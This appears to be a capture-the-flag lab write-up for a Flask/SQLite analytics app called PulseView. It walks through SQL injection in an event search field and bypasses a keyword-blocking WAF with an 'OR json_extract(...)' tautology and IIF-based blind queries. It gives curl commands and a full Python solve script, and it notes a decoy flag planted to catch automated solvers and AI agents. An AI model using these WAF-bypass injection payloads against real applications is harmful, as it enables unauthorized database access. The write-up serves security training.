Lab 84 — PulseView
Lab 84 — PulseView
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: boolean_blind_sqli_with_iif, decoy_flag_detection, json_extract_equality_without_equals, json_extract_tautology, sql_injection_via_search_parameter, sqlite_string_truthiness, waf_bypass_or_followed_by_letter
Summary
Walkthrough of the CUSTOM Web Lab 84 — PulseView. Task: Flask analytics platform with Event Explorer search vulnerable to SQL injection behind a WAF that blocks common keywords and operators. Solution: Bypass WAF using OR followed by json_extract() t
Description
PulseView is a real-time analytics platform built by Meridian Analytics. It helps product teams track user events, build conversion funnels, and generate insights from behavioral data. The platform features an Event Explorer with search capabilities, funnel analysis tools, customizable reports, and workspace settings. As a security researcher, your task is to explore the application and find the hidden flag stored somewhere in the system. The Event Explorer lets you search through tracked analytics events. The search functionality includes server-side input validation to prevent common attacks — but is it truly comprehensive?
Credentials: user@test.com / password123
English summary: A Flask/SQLite analytics platform with an Event Explorer search feature. The search parameter is vulnerable to SQL injection, but a WAF blocks most common injection keywords and operators. The goal is to bypass the WAF and find a hidden flag stored in the database.
Analysis
Application Reconnaissance
After logging in with the provided credentials, the application presents an analytics dashboard with several features. The Event Explorer at /events?search=X is the primary attack surface — it searches through tracked analytics events.
Key observations:
- Stack: Flask/Python backend, SQLite database, nginx/1.25.5 reverse proxy
- Decoy flag:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments — a honeypot designed to trap automated solvers and AI agents - SQL injection confirmed: A single quote
'in the search field causes an error ("An error occurred while processing your search"), confirming unsanitized input reaches the database - Query structure:
WHERE name LIKE '%{input}%'
WAF Analysis
Systematic testing revealed a comprehensive but imperfect WAF:
Blocked by WAF:
| Category | Blocked Items |
|---|---|
| Keywords | UNION, LIKE, GLOB, BETWEEN, IN, IS, NOT, EXISTS, CASE, WHEN, THEN, ELSE, END, DROP, INSERT, UPDATE, DELETE |
| Operators | =, <, >, !=, <>, >=, <=, --, ;, /*, -> |
| Functions | Any word( pattern — substr(, instr(, unicode(, hex(, length(, lower(, upper(, trim(, etc. |
| Aggregates | CAST, NULLIF, COALESCE, IFNULL, GROUP_CONCAT, CHAR |
| |
Allowed by WAF:
| Category | Allowed Items |
|---|---|
| Keywords | AND, SELECT, FROM, WHERE, TABLE, HAVING, GROUP, ORDER, BY, LIMIT, OFFSET, TRUE, FALSE, NULL |
| Operators | ||, (, ), ::, ~, ?, ?|, ?&, @@, @? |
| Functions | IIF(), json_extract(), json_array(), json_array_length(), json_valid(), json_remove(), json_object(), json_group_array() |
Critical WAF Bypass
Two key weaknesses in the WAF:
-
ORkeyword bypass: The WAF blocks standaloneORbut allows it when immediately followed by a letter character (to permit legitimate words likeORDER,ORGANIZATION, etc.). Sincejson_extractstarts with a letterj, the sequenceOR json_extract(...)passes the WAF. -
JSON functions not blocked: The WAF's function blocklist uses a
word(pattern match, but JSON functions likejson_extract()are not in the blocklist. Similarly,IIF()is allowed.
Boolean Blind SQLi Infrastructure
Before finding the simpler tautology approach, boolean blind injection was confirmed and used for database enumeration:
' AND TRUE AND '1 → 92 events (TRUE condition)
' AND FALSE AND '1 → 0 events (FALSE condition)
The trailing '1 is necessary because the query appends %' after the input. In SQLite, '1%' evaluates to 1 (truthy) in boolean context since it starts with a digit.
IIF() for conditional logic:
sql read-only • copy allowed' || (SELECT IIF(condition, 'session', 'zzz')) || '
If condition is true, the search term becomes session (matching 27 events → large response). If false, it becomes zzz (0 events → small response).
json_extract() for equality comparison without = operator:
sql read-only • copy allowedJSON_EXTRACT('{"tablename":1}', '$.' || name)
Returns 1 if name equals "tablename", NULL otherwise — effectively an equality check without using the blocked = operator.
Database Schema
Enumerated via boolean blind injection:
- Tables:
users,sqlite_sequence,events,funnels,funnel_data,reports,workspace_settings - events columns:
id,name,category,properties,created_at,user_id
Solution
Step 1: Confirm SQL Injection
bash read-only • copy allowed# Single quote causes SQL error curl -s -b cookies.txt "https://TARGET/events?search='" | grep -i error # → "An error occurred while processing your search" # String concatenation confirms SQLite curl -s -b cookies.txt "https://TARGET/events?search=' || '" | grep -c "event-card" # → 92 events (all events returned)
Step 2: WAF Bypass with OR + json_extract() Tautology
The key payload:
' OR json_extract('{"x":1}','$.x') AND '1
This transforms the SQL query into:
sql read-only • copy allowedSELECT * FROM events WHERE name LIKE '%' OR json_extract('{"x":1}','$.x') AND '1%'
Breaking it down:
name LIKE '%'— matches everything (but this is the original behavior)OR json_extract('{"x":1}','$.x')— always returns 1 (truthy), creating a tautologyAND '1%'— the closing quote absorbs the trailing%'from the original query;'1%'evaluates to 1 in SQLite boolean context
The WAF allows this because:
ORis followed byj(a letter), so it's not blockedjson_extract()is not in the function blocklist
Step 3: Extract the Hidden Event
bash read-only • copy allowed# Normal search returns 92 events curl -s -b cookies.txt "https://TARGET/events?search=session" | grep -c "event-card" # → 27 # OR tautology returns 93 events — one hidden event! curl -s -b cookies.txt \ "https://TARGET/events?search=' OR json_extract('{\"x\":1}','\$.x') AND '1" \ | grep -c "event-card" # → 93
Browsing to page 7 of the results reveals the hidden 93rd event:
- Event name:
config_audit_log - Properties:
json read-only • copy allowed{ "audit_type": "config_change", "flag": "FLAG{REDACTED}", "changed_by": "system", "timestamp": "2026-01-15T03:22:41Z", "component": "auth_service", "previous_state": "active", "new_state": "maintenance" }
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ PulseView Analytics - SQL Injection via JSON Operator WAF Bypass Lab 84 - HackAdvisor Bypasses WAF by using OR followed by json_extract() (letter after OR is allowed). json_extract('{"x":1}','$.x') returns 1, creating a tautology that reveals a hidden event containing the flag. """ import requests import re import sys BASE_URL = "https://TARGET.labs.hackadvisor.io" def solve(): session = requests.Session() # Step 1: Login r = session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=True) assert r.status_code == 200, "Login failed" print("[+] Logged in") # Step 2: Normal search to get baseline count r = session.get(f"{BASE_URL}/events", params={"search": ""}) normal_count = r.text.count("event-card") print(f"[*] Normal event count: {normal_count}") # Step 3: WAF bypass - OR followed by json_extract (letter after OR is allowed) payload = "' OR json_extract('{\"x\":1}','$.x') AND '1" r = session.get(f"{BASE_URL}/events", params={"search": payload}) bypass_count = r.text.count("event-card") print(f"[*] Bypass event count: {bypass_count}") if bypass_count > normal_count: print(f"[+] Found {bypass_count - normal_count} hidden event(s)!") # Step 4: Paginate to find the hidden event with the flag page = 1 while True: r = session.get(f"{BASE_URL}/events", params={ "search": payload, "page": page }) # Look for FLAG{ in the response flags = re.findall(r'FLAG\{[^}]+\}', r.text) for flag in flags: if "d3c0y" not in flag.lower(): print(f"[+] FLAG: {flag}") return flag if "event-card" not in r.text: break page += 1 print("[-] Flag not found in paginated results") return None if __name__ == "__main__": solve()
Key Takeaways / Lessons
- Mastering boolean_blind_sqli_with_iif, decoy_flag_detection, json_extract_equality_without_equals, json_extract_tautology, sql_injection_via_search_parameter, sqlite_string_truthiness, waf_bypass_or_followed_by_letter was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-23 • CUSTOM • Lab 84 — PulseView • Difficulty: Medium